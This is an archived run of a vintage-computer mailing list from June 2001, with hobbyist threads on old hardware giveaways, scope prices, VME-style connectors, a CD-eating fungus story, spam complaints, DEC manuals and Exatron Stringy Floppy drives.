Meenakshisundaram | | Senior Software Engineer | | OpenLink Financial Inc | | .oooO Phone: (516) 227-6600 x267 | | ( ) Oooo. Email: rmeenaks@olf.com | ---\ (----( )-------------------------------------- \_) ) / (_/ From wpfulmor at dimensional.com Tue Jun 19 13:05:32 2001 From: wpfulmor at dimensional.com (William Fulmor) Date: Sun Feb 27 19:04:36 2005 Subject: Have some bits for the cost of shipping- In-Reply-To: <20010619120150.F12895@mastif> Message-ID: On Tue, 19 Jun 2001, John Ott wrote: > Hello - > > I'm interested in your 3B1. Does this have the 68010 cpu? Can you > estimate how much this weighs? I live in the South Bend, IN area and > want to check on shipping costs. > > John The shipping weight of a 3b1 in its original shipping carton is 58 lbs. That weight does not include S/W + manuals which were shipped separately. Bill From vance at ikickass.org Tue Jun 19 13:30:26 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:36 2005 Subject: Free for the taking... In-Reply-To: <3B2F902B.507D9679@olf.com> Message-ID: I can pick it up. Peace... Sridhar On Tue, 19 Jun 2001, Ram Meenakshisundaram wrote: > Ram Meenakshisundaram wrote: > > > Hi, > > > > I got a NCD eXplorer Color X-Windows terminal. It is a 14-inch monitor > > with a very small base. > > (4Megs of display memory, 10BaseT, with installation CDs). Anybody want > > it, otherwise it is ending > > in the dumpster. This used to be part of my SUN Workstation at home, > > but I dont need this part anymore... > > > > Sorry about that. I am located in Union Dale, Nassau, Long Island, NY. > I already got some takers, so whoever emailed me about the location and > is either willing to pick up or want to ship it, let me know.... > > Ram > > -- > > ,,,, > /'^'\ > ( o o ) > -oOOO--(_)--OOOo------------------------------------- > | Ram Meenakshisundaram | > | Senior Software Engineer | > | OpenLink Financial Inc | > | .oooO Phone: (516) 227-6600 x267 | > | ( ) Oooo. Email: rmeenaks@olf.com | > ---\ (----( )-------------------------------------- > \_) ) / > (_/ > > > From rigdonj at intellistar.net Tue Jun 19 14:23:43 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:36 2005 Subject: Tektronix 454 scope - what's it worth? In-Reply-To: References: Message-ID: <5.1.0.14.1.20010619152203.00a07a30@mailhost.intellistar.net> I sold one with the cover and probes at the Melborne hamfest 1 1/2 ago for $100. Joe At 07:49 AM 6/18/01 -0700, you wrote: >Russ Blakeman wrote: > > > Anyone have any ideas what a really good condition Tek 454 scope is worth >on > > the open market? > >I paid $203 about 18 months ago for one with probes, no cover and a fresh >calibration -- on ePay no less... > >-- >Chris Kennedy >chris@mainecoon.com >http://www.mainecoon.com >PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From rigdonj at intellistar.net Tue Jun 19 14:38:00 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:36 2005 Subject: Digalog computer?? was Re: VME connector name? In-Reply-To: References: <5.1.0.14.1.20010618065423.01d4e790@mailhost.intellistar.net> Message-ID: <5.1.0.14.1.20010619153336.020b1b80@mailhost.intellistar.net> At 07:14 PM 6/18/01 +0100, you wrote: > > > > Thanks to everyone that replied. The reason that I asked is because I > > picked up a Digalog computer that uses those connectors. The computer > is a > > rack mount jobs that's about 6 inches tall. It has a bunch of card slots, > > each with a single VME type connector that the cards plug into. The > cards > > are about 4 x 6 inches in size. The whole thing looks a lot like a > >I don't know this machine at all, but I suspect that the rack height is >actually 5.25" (which is called '3U'). That makes sense. The VME cards with two connectors are called "6U" and the larger cards with three connectors like this are called "9U". >The boards sound like single >height standard eurocards, which are 100mm high by 160mm deep. Getting >prototyping boards for this machine is no problem :-) > > > standard bus computer. It has 5 1/4" floppy drive and a tape drive in the > >Unfortunately, the DIN41612 connector was used for many buses, not just >VME. Several manufacturers made their own custom buses using this >connector (it has many advantages over the card edge, not least that you >don't have to have any gold plating on the PCBs themselves). My guess is >that your machine could be a custom bus, probably based on the 68000 bus >signals. That sounds likely. I found the company's website and they do make a lot of industrial instrumentation controllers but I can't find anything technical about their machines. I also couldn't find a model number or any identificatiopn on this machine other than the company name. It's in pretty sad shape but it does have a hard drive in it and I'm hoping that it's still bootable. Joe >-tony From rigdonj at intellistar.net Tue Jun 19 14:59:55 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:04:36 2005 Subject: Digalog computer?? was Re: VME connector name? In-Reply-To: <20010619020126.6257.qmail@mail.seefried.com> References: <200106190047.TAA63889@opal.tseinc.com> <200106190047.TAA63889@opal.tseinc.com> Message-ID: <5.1.0.14.1.20010619155823.020d0060@mailhost.intellistar.net> At 02:01 AM 6/19/01 +0000, you wrote: >From: ard@p850ug1.demon.co.uk (Tony Duell) > >>I don't know this machine at all, but I suspect that the rack height is >>actually 5.25" (which is called '3U'). The boards sound like single >>height standard eurocards, which are 100mm high by 160mm deep. Getting >>prototyping boards for this machine is no problem :-) > >Well...he didn't say wether the cards are vertical or horizontal. It >could be that he's got a 6U VME backplane with only P1 connectors, >especially if it's an old computer. I should have been clearer about this, the cards are vertical. I haven't measured them but the dimensions that Tony gave are about right. Joe From foo at siconic.com Tue Jun 19 14:16:11 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:36 2005 Subject: Wave of the Future (Spam) In-Reply-To: <014c01c0f8dd$dc3fbf40$21fe54a6@ibm23xhr06> Message-ID: On Tue, 19 Jun 2001, John Allain wrote: > In the case of Marketing, it may Seem like a moronic > thing is being used as a cover-up for a predatory > practice... all I can say is SOMEtimes with Mktg what > you really got there are morons* > > In this case charging for the online access is truly a moaner. > They just need the 30 days for processing. The silly-assed thing is that they have to go through more work if you mail it in. It would be great if they got deluged with mail-in requests. At any rate, I think charging to be added to the block lists violates the spirit of the law they are trying to "uphold". Some Senator who isn't busy promoting his/her own self interests needs to be made aware of this. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From jhellige at earthlink.net Tue Jun 19 16:21:34 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:36 2005 Subject: retroarchive.org (Announcement 2) In-Reply-To: References: Message-ID: >I think a version of UNZIP was written for just about every old computer >at some point or another (I know an Apple ][ version was eventually >written in the late 80s). I know that the Amiga and Atari ST's had their versions, but there was a fairly major format change at some point that could cause a problem for older versions of the software on non-PC clones. If I recall correctly, PKZIP/UNZIP was actually an outgrowth of PKware's earlier PKARC/PKXARC programs and it changed names when Sea Associates complained about the closeness of the name to their products (ARC & UNARC), whcih they were compatible with. This was in late '87 or early '88 and BBS's started boycotting the use of ARC/UNARC and switched to ZIP as the defacto compression standard. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From spectre at stockholm.ptloma.edu Tue Jun 19 16:43:32 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:36 2005 Subject: retroarchive.org (Announcement 2) In-Reply-To: from Jeff Hellige at "Jun 19, 1 05:21:34 pm" Message-ID: <200106192143.OAA09226@stockholm.ptloma.edu> > >I think a version of UNZIP was written for just about every old computer > >at some point or another (I know an Apple ][ version was eventually > >written in the late 80s). > > I know that the Amiga and Atari ST's had their versions, but > there was a fairly major format change at some point that could cause > a problem for older versions of the software on non-PC clones. A Commodore 64 can dissolve PKZIP2 files nowadays, as well as GNU zip. In fact, .d64.gz is becoming a popular format since many emulators support it and Gunzip64 can turn it into a nice full disk on the native system. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- The pace of life isn't the problem. It's the sudden stop at the end. ------- From ard at p850ug1.demon.co.uk Tue Jun 19 14:51:27 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:36 2005 Subject: Digalog computer?? was Re: VME connector name? In-Reply-To: <20010619020126.6257.qmail@mail.seefried.com> from "Ken Seefried" at Jun 19, 1 02:01:26 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 705 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010619/f4f1cdec/attachment.ksh From donm at cts.com Tue Jun 19 18:44:13 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:36 2005 Subject: CD Eating Fungus? In-Reply-To: <3B2EED82.619C1255@woa.com.au> Message-ID: On Tue, 19 Jun 2001, Terry Collins wrote: > Don Maslin wrote: > > > > > Yes, but "leaving nothing behind." NOTHING? Hard to believe. > > Well, it leaves the fungi! > > It really depends on what they mean by "nothing". Probably nothing > visible to the naked eye. I always keep in mind that a lot of stories > could be of the standard of a report from News of The World (make it > interesting and damm the truth*), so I will not be investing in an > controlled atmosphere safe to store my CD's in yet. I fear that is too often the case. - don > OTOH, it could just be one of those bad first batch(es) CD's that the > layer's broke down anyway and a fungi has just invaded the space. It all > really need independent, scientific verification from someone with a bit > of knowledge and experience. > > > *I've lived in Australia for 40 years and never seen a Kangaroo in a > sports coat. Yesterday, we safely went koala tracking and never once did > the mum and babe hiss, spit, bare the claws or doing anything one might > expect of a killer koala. We will be going again as the wife left the > film out of the camera {:-). > > > > -- > Terry Collins {:-)}}} Ph(02) 4627 2186 Fax(02) 4628 7861 > email: terryc@woa.com.au www: http://www.woa.com.au > WOA Computer Services > > "People without trees are like fish without clean water" > From donm at cts.com Tue Jun 19 18:56:43 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:36 2005 Subject: CD Eating Fungus? In-Reply-To: Message-ID: On Tue, 19 Jun 2001, Brian Chase wrote: > On Mon, 18 Jun 2001, Don Maslin wrote: > > On Mon, 18 Jun 2001, Jeff Hellige wrote: > > > > I recall those arguments...it was also one of the reasons it > > > was said that MO disks were superior to CD-R media. As far as I > > > recall, it was said to also get into the disk by going between the > > > sandwhich layers and it appeared on an affected disk as black spots. > > > Couldn't a fungus attach itself to the adhesive used to bond the > > > various layers of a CD-R? If not a fungus, it certainly seems > > > reasonable that the aluminum surface could possibly oxidize after a > > > while. > > > > Yes, but "leaving nothing behind." NOTHING? Hard to believe. > > Yeah, imagine if this were to be let loose in the citys and towns of the > US. All those homes with aluminum siding, all those soda cans. Why, it > has the makings for a good Hollywood disaster film. > > -brian. > And worse yet, imagine being scatter-bombed with luggage and the bodies of passengers as their airliners evaporated - leaving NOTHING behind. - don From allain at panix.com Tue Jun 19 13:40:07 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:36 2005 Subject: Wave of the Future (Spam) References: <014c01c0f8dd$dc3fbf40$21fe54a6@ibm23xhr06> Message-ID: <000201c0f91f$60c99560$8a0101ac@ibm23xhr06> > SOMEtimes .. what you really got there are morons P.S. 40 minutes after sending this I recieved a piece of Spam titled "Hey Moe ... Don't Shoot! 6/19/01" John A. From edick at idcomm.com Tue Jun 19 19:25:43 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:37 2005 Subject: Wave of the Future (Spam) References: Message-ID: <004101c0f91f$8ac76680$9cc762d8@idcomm.com> I'm not sure why this continues to be the problem that it is. I agree that SPAM is terribly annoying, but can't comprehend why it can't be dealt with from the INSIDE, i.e. simply rewrite the SMTP/POP protocol rules such that mail only allows a single addressee, and that any server that sees more than one destinee, either in the "to" field or the CC field, it simply pitches it in the bit bucket. Spammers love the current situation, because their own bandwidth isn't even consumed by the wide distribution of some bit of nonsense advertising. If I ever want to send several people the same email, which I've not yet done, after about 10 years of internetting, I'd simply write a script to do that. The fact that the internet community or its governing bodies haven't figured this out is a symptom of the fact that they WANT people to be able to SPAM anonymously. At the risk of offending the purists, I'd say it's up to us to get off the silly notion that we're going to be able to preserve anonymity on the internet in favor of preventing the waste of gazillions of gigabits per second of bandwidth for unpaid advertising. Even the snail-mail SPAM is paid-for. It should be a requirement for an email message to get through even ONE server beyond its point of origin, that the message have the real point of origin in it and that the point of origin be listed in the text of the message as well as in the header. Any message in which the originator is not named and traceable via FINGER, with a validated account, can simply be dropped. It is easy enough to reject unwanted mail, provided you have a list of acceptable sources. THERE HAS GOT TO BE ACCOUNTABILITY on the internet. If your name, and home address were in every message you send, you would probably not send unsolicited email. If someone found you spoofing addresses in order to support spamming with, 2^n messages, they should be awarded 2^n bucks, which you should pay, with your 20 hour-per-day labor at $0.50/hour for however long it takes. Additionally, you should be fined 2^n bucks per bit, for wasting the bandwidth. If you don't want to surrender your anonymity, we'll simply all have to put up with the SPAM. Now, I get a bit of SPAM from time to time, maybe as much as 20% of my mail, but it's pretty easy to recognize and delete. What annoys me is that it takes more bandwidth to reject the stuff than simply to delete it. Dick ----- Original Message ----- From: "Sellam Ismail" To: Sent: Tuesday, June 19, 2001 1:16 PM Subject: Re: Wave of the Future (Spam) > On Tue, 19 Jun 2001, John Allain wrote: > > > In the case of Marketing, it may Seem like a moronic > > thing is being used as a cover-up for a predatory > > practice... all I can say is SOMEtimes with Mktg what > > you really got there are morons* > > > > In this case charging for the online access is truly a moaner. > > They just need the 30 days for processing. > > The silly-assed thing is that they have to go through more work if you > mail it in. It would be great if they got deluged with mail-in requests. > At any rate, I think charging to be added to the block lists violates the > spirit of the law they are trying to "uphold". Some Senator who isn't > busy promoting his/her own self interests needs to be made aware of this. > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org > > From chomko at greenbelt.com Tue Jun 19 19:41:17 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:37 2005 Subject: CD Eating Fungus? References: <002101c0f840$aad93190$e462d6d1@DOMAIN> Message-ID: <3B2FF12C.1F834D28@greenbelt.com> Mike Ford wrote: > >then devoured the thin aluminium layer and some of the data-storing > >polycarbonate resin. > >Dr Cardenes said: "It completely destroys the aluminium. It leaves nothing > > I know there is something that eats aluminum sliding glass door tracks. Hey, how do I fix THAT problem?? Eric From jim at jkearney.com Tue Jun 19 19:38:56 2001 From: jim at jkearney.com (Jim Kearney) Date: Sun Feb 27 19:04:37 2005 Subject: 8008 book identification References: Message-ID: <001201c0f921$63e51b50$0c01090a@xpace.net> RE: 8008 book identificationYes, this is it. Another list member had sent me an email identifying it... so far I have not been able to locate a copy, but I'm trying.... I must have had the 1st edition, as I don't recall anything about the 8080. Thanks! ----- Original Message ----- From: Arlen Michaels To: 'classiccmp@classiccmp.org' Cc: 'Jim Kearney' Sent: Tuesday, May 29, 2001 10:48 AM Subject: RE: 8008 book identification Could you be referring to "Microcomputer Design" by Donald P Martin and published by his company, Martin Research in Northbrook, Illinois? It has a black cover with a photograph on the front of integrated circuits lit from below. A large format squarish paperback about an inch thick. I don't see an ISBN listed, but the Library of Congress Catalog number is given as 76-1530. It is full of practical application advice about the 8008, and includes stuff about the "new" 8080 too. The last chapter describes various "minimal microcomputer" circuits and Martin's own product line of Modular Micros such as the MIKE models 3 and 4. I have the 2nd edition published in 1976, and it is a treasure. Arlen Michaels -----Original Message----- From: Jim Kearney [SMTP:jim@jkearney.com] Sent: Saturday, May 19, 2001 11:53 AM To: classiccmp Subject: 8008 book identification Forgive me if this is common knowledge, but I haven't been able to dig up any information with a search engine, probably due to my very vague search terms... Around 1974-6 I had a book that covered 8008 system design, in a kind of cookbook fashion. I'm thinking it might have been published by Ohio Scientific, but that's far from reliable. As I recall, the cover was black and it was relatively thick. I built a 8008 system using it (wire wrapped, with 256 bytes of RAM), but book and computer have both vanished since then. I'd like to find another copy for nostalgia's sake. Does anyone have any clues? -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20010619/fd6c5a73/attachment.html From red at bears.org Tue Jun 19 19:48:50 2001 From: red at bears.org (r. 'bear' stricklin) Date: Sun Feb 27 19:04:37 2005 Subject: Wave of the Future (Spam) In-Reply-To: <004101c0f91f$8ac76680$9cc762d8@idcomm.com> Message-ID: On Tue, 19 Jun 2001, Richard Erlacher wrote: > INSIDE, i.e. simply rewrite the SMTP/POP protocol rules such that mail > only allows a single addressee, and that any server that sees more > than one destinee, either in the "to" field or the CC field, it simply > pitches it in the bit bucket. Um.. I'm sorry, but that has to be just about the stupidest thing I've ever heard. > If I ever want to send several people the same email, which I've not yet done, > after about 10 years of internetting, I'd simply write a script to do that. Don't you think that the spammers could do this very same thing, in about five minutes? > the originator is not named and traceable via FINGER, with a validated It's too bad FINGER is a huge security hole. > What annoys me is that it takes more bandwidth to reject the stuff > than simply to delete it. What annoys me are people who look at a system which mostly works with a few problems, and decide that the best way to fix the problems are to break the system entirely. You have some pretty bizarre notions of what 'superiour' means. ok r. From ken at seefried.com Tue Jun 19 20:06:46 2001 From: ken at seefried.com (Ken Seefried) Date: Sun Feb 27 19:04:37 2005 Subject: CD Eating Fungus? In-Reply-To: <200106200052.TAA82543@opal.tseinc.com> References: <200106200052.TAA82543@opal.tseinc.com> Message-ID: <20010620010646.10298.qmail@mail.seefried.com> Oh, come now people. There's no metabolic process that makes aluminum into food. Undoubtedly, these fungi are eating something organic (glue?) and producing an acid that is destroying the metalic layer. From mrbill at mrbill.net Tue Jun 19 21:11:30 2001 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 19:04:37 2005 Subject: BIG haul of DEC docs! Message-ID: <20010619211130.A20463@mrbill.net> I just got an incredible haul of DEC docs in the mail. Once I get through scanning these and putting them up as .pdf's on DECDOCS.ORG (which I just registered), the actual handbooks, etc, themselves will need a good home, and I dont have space for them - but I refuse to toss stuff like this away. I'd like to trade them for other DEC PDP stuff if possible. So, if anybody's interested, please let me know. I'll be done with these in a month or so, assuming I get plenty of time to use my scanner. The list: Everything is in "Good" or better condition, given some yellowing of the pages due to age, of course. Only one of the handbooks has a torn cover, and its only slightly dog-eared. Handbooks: Year Title ------------- 69 Digital Logic Handbook 70 Digital Logic Handbook 70 Laboratory Computer Handbook (PDP-12) (x2) 70 PDP-8/E Small Computer Handbook 71 PDP-8/E & 8/M Small Computer Handbook 71 PDP-11/45 Processor Handbook 72 PDP-8 Programming Langugaes Handbook 72 Microcomputers and Memories 72 Logic System Design Handbook 72 PDP-11/40 Processor Handbook 72-73 PDP-11/45 and 11/50 System Maintenance Manual 73-74 Digital Logic Handbook 75 PDP-11/70 Processor Handbook 75-76 LSI-11 PDP-11/03 Processor Handbook (x2) 75-76 Digital Logic Handbook 76 RK11-D & RK11-E Moving Head Disk Drive Controller User's Manual 76 DR11-C General Device Interface (x2) 76 PDP-11 Software Handbook 76 PDP-11/34 Processor Handbook 76 PDP-11 Peripherals Handbook 76-77 Digital Logic Handbook 77 PDP-11/60 Processor Handbook 78 PDP-11 Processor Handbook (04/34/45/55/60) 78 Microcomputer Processors 78 PDP-11 Peripherals Handbook 79 RSX-11M System Generation and Management Guide 81 VAX Architecture Handbook 83 Cables: Handbook for the System Builder 83 PDP-11 Software Source Book Vol. 1: Application Software 83 PDP-11 Software Source Book Vol. 2: Systems Software 83 RSX-11M Mini Reference (in mini binder) 83-84 Micro PDP-11 Handbook 84 ULTRIX Software Guidebook 88-89 Software Handbook Catalogs: Year Title ------------- 82 DECdirect Spring 84-85 DECdirect Winter 87-88 DECdirect Plus Summer/Fall 88-89 DECdirect Plus Summer/Fall 88-89 DECdirect Plus Winter/Spring 85-86 DECdirect Plus Fall/Winter 84 Add-Ons and Upgrades 83 (May) Emulex Controller Handbook: Communication and Peripherals The Software Dispatch Review (bug reports): Year Title ------------- 1974 RSX-11D (Sep, Oct, Dec) 1975 RSX-11D (Jan, July) RSX-11D V6A (Oct) 1976 RSX-11D V6B (Jan) RSX-11D / IAS (Feb, Mar, Apr, May, Jun, Jul, Sep, Oct, Nov, Dec) 1977 RSX-11D / IAS (Jan, Feb, Mar, May, July, -- Bill Bradford mrbill@mrbill.net Austin, TX From cisin at xenosoft.com Tue Jun 19 21:42:59 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:37 2005 Subject: CD Eating Fungus? In-Reply-To: Message-ID: On Tue, 19 Jun 2001, Jeff Hellige wrote: > >Yes, but "leaving nothing behind." NOTHING? Hard to believe. > I've never seen it said that a fungus or whatever did away > with the whole aluminum layer of the CD, just that black splotches > would appear. Even oxidation would leave something behind. The original post that started this thread spoke of TRANSPARENT spots where the aluminium was "gone". Reduces the overall credibility of the story. From cisin at xenosoft.com Tue Jun 19 21:43:45 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:37 2005 Subject: CD Eating Fungus? In-Reply-To: Message-ID: On Tue, 19 Jun 2001, Jeff Hellige wrote: > >Yes, but "leaving nothing behind." NOTHING? Hard to believe. > I've never seen it said that a fungus or whatever did away > with the whole aluminum layer of the CD, just that black splotches > would appear. Even oxidation would leave something behind. The original post that started this thread spoke of TRANSPARENT spots where the aluminium was "gone". Reduces the overall credibility of the story. From jrkeys at concentric.net Tue Jun 19 21:58:57 2001 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 19:04:37 2005 Subject: New finds in Houston Message-ID: <00d801c0f934$f41e0e80$d7701fd1@default> I just got back from 18 days down in Houston and in-between working (and the flooding) I was able to hit a few thrifts there. I got the following: 1. A handheld called Compact by Ultratec with a acoustic modem in the top cover. It's 8 1/2 x 3 1/2 and 1 1/8 inch tall. It has no other markings on it. 2. Six new in the box Vic20 game cartridges 3. R.O.B. by Nintendo robot 4. Something called a Xscribe that looks like a over grown C64. 5. A alphamicro 1000A model AM1000-47 6. Radio Shack TRS-80 TP-10 thermal printer 7. Several new in the box TI99 cartridges 8. And about 50+ more items that do not meet the 10 year rule. It was a good trip just wish the weather had been better. From ernestls at home.com Tue Jun 19 21:50:53 2001 From: ernestls at home.com (Ernest) Date: Sun Feb 27 19:04:37 2005 Subject: Exatron Stringy Floppy drives? In-Reply-To: <20010619211130.A20463@mrbill.net> Message-ID: What's the story with these things? They're small black and silver, and the cassettes are tiny little clear things that look like backup tapes, or something like that. What do you do with them? What system are they for? Ernest From mrbill at mrbill.net Tue Jun 19 22:04:29 2001 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 19:04:37 2005 Subject: CD Eating Fungus? In-Reply-To: ; from cisin@xenosoft.com on Tue, Jun 19, 2001 at 07:43:45PM -0700 References: Message-ID: <20010619220429.M20463@mrbill.net> On Tue, Jun 19, 2001 at 07:43:45PM -0700, Fred Cisin (XenoSoft) wrote: > The original post that started this thread spoke of TRANSPARENT spots > where the aluminium was "gone". Reduces the overall credibility of the > story. I've had the same thing happen when I spilled a coke on a cd in the floorboard of my car and didnt notice it for a week or so. Bill -- Bill Bradford mrbill@mrbill.net Austin, TX From lemay at cs.umn.edu Tue Jun 19 22:21:14 2001 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 19:04:37 2005 Subject: Exatron Stringy Floppy drives? In-Reply-To: "from Ernest at Jun 19, 2001 07:50:53 pm" Message-ID: <200106200321.WAA02212@caesar.cs.umn.edu> I've never actually seen one, but they were used on several home microcomputers back in the late 70's/early 80's. Probably trs-80 and apple ][. If my poor memory serves, they were supposed to be somewhat between using a slow but cheap audio cassette, and a fast but expensive floppy drive. I think they ended up being a faster but too expensive and too unreliable option, and thus never really caught on. -Lawrence LeMay > > What's the story with these things? They're small black and silver, and the > cassettes are tiny little clear things that look like backup tapes, or > something like that. > > What do you do with them? What system are they for? > > Ernest > From cisin at xenosoft.com Tue Jun 19 22:31:10 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:37 2005 Subject: Exatron Stringy Floppy drives? In-Reply-To: Message-ID: On Tue, 19 Jun 2001, Ernest wrote: > What's the story with these things? They're small black and silver, and the > cassettes are tiny little clear things that look like backup tapes, or > something like that. > What do you do with them? What system are they for? I believe that they were first introduced at the third West Coast Computer Faire (the time they held it in LA). They were marketed as a storage peripheral for several different computers, but I think that the only one that they came even close to catching on with was TRS-80, since it was cheaper than buying an expansion interface and a floppy drive. They were somewhat more reliable than the TRS-80 cassette port (which was an almost Write-Only medium) -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com PO Box 1236 (510) 558-9366 Berkeley, CA 94701-1236 From jpero at sympatico.ca Tue Jun 19 18:49:04 2001 From: jpero at sympatico.ca (jpero@sympatico.ca) Date: Sun Feb 27 19:04:37 2005 Subject: New finds in Houston In-Reply-To: <00d801c0f934$f41e0e80$d7701fd1@default> Message-ID: <20010620034557.PWJH29618.tomts6-srv.bellnexxia.net@duron> > From: "John R. Keys Jr." > To: > Subject: New finds in Houston > Date: Tue, 19 Jun 2001 21:58:57 -0500 > Reply-to: classiccmp@classiccmp.org > I just got back from 18 days down in Houston and in-between working (and > the flooding) I was able to hit a few thrifts there. I got the > following: > > 1. A handheld called Compact by Ultratec with a acoustic modem in the > top cover. It's 8 1/2 x 3 1/2 and 1 1/8 inch tall. It has no other > markings on it. TTY used for deaf and hard of hearing users, use it to talk to another tty of any types or via relay service like deaf to hearing person via a live person translating the text to speech. I have one. Very notorious for breaking down due to that orange cable linking both halves together, straight when closed, then bent 180 degrees when open. Very nice design and last long time on batteries. Right now mine is broken, going to around to it to fix. The cpu is intel 8080 based microcontroller, LCD is EL backlit sucks batteries. Keep it off during day, use it for dark places or at night. Use 9VDC 500mA tip is negative. If you have AA NiCd rechargable it will work or use regular AA batteries. You can still buy parts or send it to ultratec for repairs. Cheers, Wizard From ernestls at home.com Tue Jun 19 22:51:11 2001 From: ernestls at home.com (Ernest) Date: Sun Feb 27 19:04:37 2005 Subject: Exatron Stringy Floppy drives? In-Reply-To: Message-ID: Thanks for the info. I just found some information on the web to. I think that these are the ones for the TRS80. e. -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Fred Cisin (XenoSoft) Sent: Tuesday, June 19, 2001 8:31 PM To: classiccmp@classiccmp.org Subject: Re: Exatron Stringy Floppy drives? On Tue, 19 Jun 2001, Ernest wrote: > What's the story with these things? They're small black and silver, and the > cassettes are tiny little clear things that look like backup tapes, or > something like that. > What do you do with them? What system are they for? I believe that they were first introduced at the third West Coast Computer Faire (the time they held it in LA). They were marketed as a storage peripheral for several different computers, but I think that the only one that they came even close to catching on with was TRS-80, since it was cheaper than buying an expansion interface and a floppy drive. They were somewhat more reliable than the TRS-80 cassette port (which was an almost Write-Only medium) -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com PO Box 1236 (510) 558-9366 Berkeley, CA 94701-1236 From donm at cts.com Tue Jun 19 23:24:41 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:37 2005 Subject: New finds in Houston In-Reply-To: <00d801c0f934$f41e0e80$d7701fd1@default> Message-ID: On Tue, 19 Jun 2001, John R. Keys Jr. wrote: > I just got back from 18 days down in Houston and in-between working (and > the flooding) I was able to hit a few thrifts there. I got the > following: > > 1. A handheld called Compact by Ultratec with a acoustic modem in the > top cover. It's 8 1/2 x 3 1/2 and 1 1/8 inch tall. It has no other > markings on it. > > 2. Six new in the box Vic20 game cartridges > > 3. R.O.B. by Nintendo robot > > 4. Something called a Xscribe that looks like a over grown C64. XScribe was a San Diego Company that built computer based Court Reporting machines. The early ones were CP/M based. Unfortunately, as they diminished in size, so did the company, and after a couple of mergers, they are remembered mostly by those who lost money in the stock. It now trades as NMFGE at about 11 cents. - don > 5. A alphamicro 1000A model AM1000-47 > > 6. Radio Shack TRS-80 TP-10 thermal printer > > 7. Several new in the box TI99 cartridges > > 8. And about 50+ more items that do not meet the 10 year rule. > It was a good trip just wish the weather had been better. > > From donm at cts.com Tue Jun 19 23:27:02 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:37 2005 Subject: Exatron Stringy Floppy drives? In-Reply-To: Message-ID: On Tue, 19 Jun 2001, Ernest wrote: > > What's the story with these things? They're small black and silver, and the > cassettes are tiny little clear things that look like backup tapes, or > something like that. They were an endless loop micro-cassette which did not have to be reversed in order to get back to the start. Hence the 'floppy' designation. Tape=stringy, right? - don > What do you do with them? What system are they for? > > Ernest > > From rhudson at cnonline.net Tue Jun 19 23:52:19 2001 From: rhudson at cnonline.net (Ron Hudson) Date: Sun Feb 27 19:04:37 2005 Subject: Apollo Workstations Message-ID: <3B302C03.6000300@cnonline.net> For a while I worked for CALMA, we used apollo workstations when they were large as two two drawer file cabinets side by side. and the keyboard had a built in touch pad mouse (way before Apple though of it) Any Apollo questions? I probably can't answer them, but I will try. I was one of the computer operators and was responsible for the apollo ring (both the computers and the wiring plant) : ^ ) From SUPRDAVE at aol.com Tue Jun 19 23:37:55 2001 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 19:04:37 2005 Subject: Exatron Stringy Floppy drives? Message-ID: <120.893c41.286182a3@aol.com> In a message dated 6/19/01 10:56:52 PM Eastern Daylight Time, ernestls@home.com writes: << What's the story with these things? They're small black and silver, and the cassettes are tiny little clear things that look like backup tapes, or something like that. What do you do with them? What system are they for? >> I have one for one of the 2 trs80 model 1 i have. It's a small box that plugs into the computer. It uses small carts that looks kinda like cassette tapes. the media actually looks like thin fishing line. I don't have any of the carts though. i spoke with a guy that used one and said it was random acess device and was slow, although much faster than cassette tapes. -- DB Young Team OS/2 old computers, hot rod pinto and more at: www.nothingtodo.org From cisin at xenosoft.com Tue Jun 19 23:41:12 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:37 2005 Subject: Exatron Stringy Floppy drives? In-Reply-To: Message-ID: On Tue, 19 Jun 2001, Don Maslin wrote: > They were an endless loop micro-cassette which did not have to be > reversed in order to get back to the start. Hence the 'floppy' > designation. Tape=stringy, right? The guy pushing them at their intro told me that "floppy" was because they were intended as an alternative to using a floppy drive on TRS-80, and they were "just as good as a floppy drive". (not true) -- Grumpy 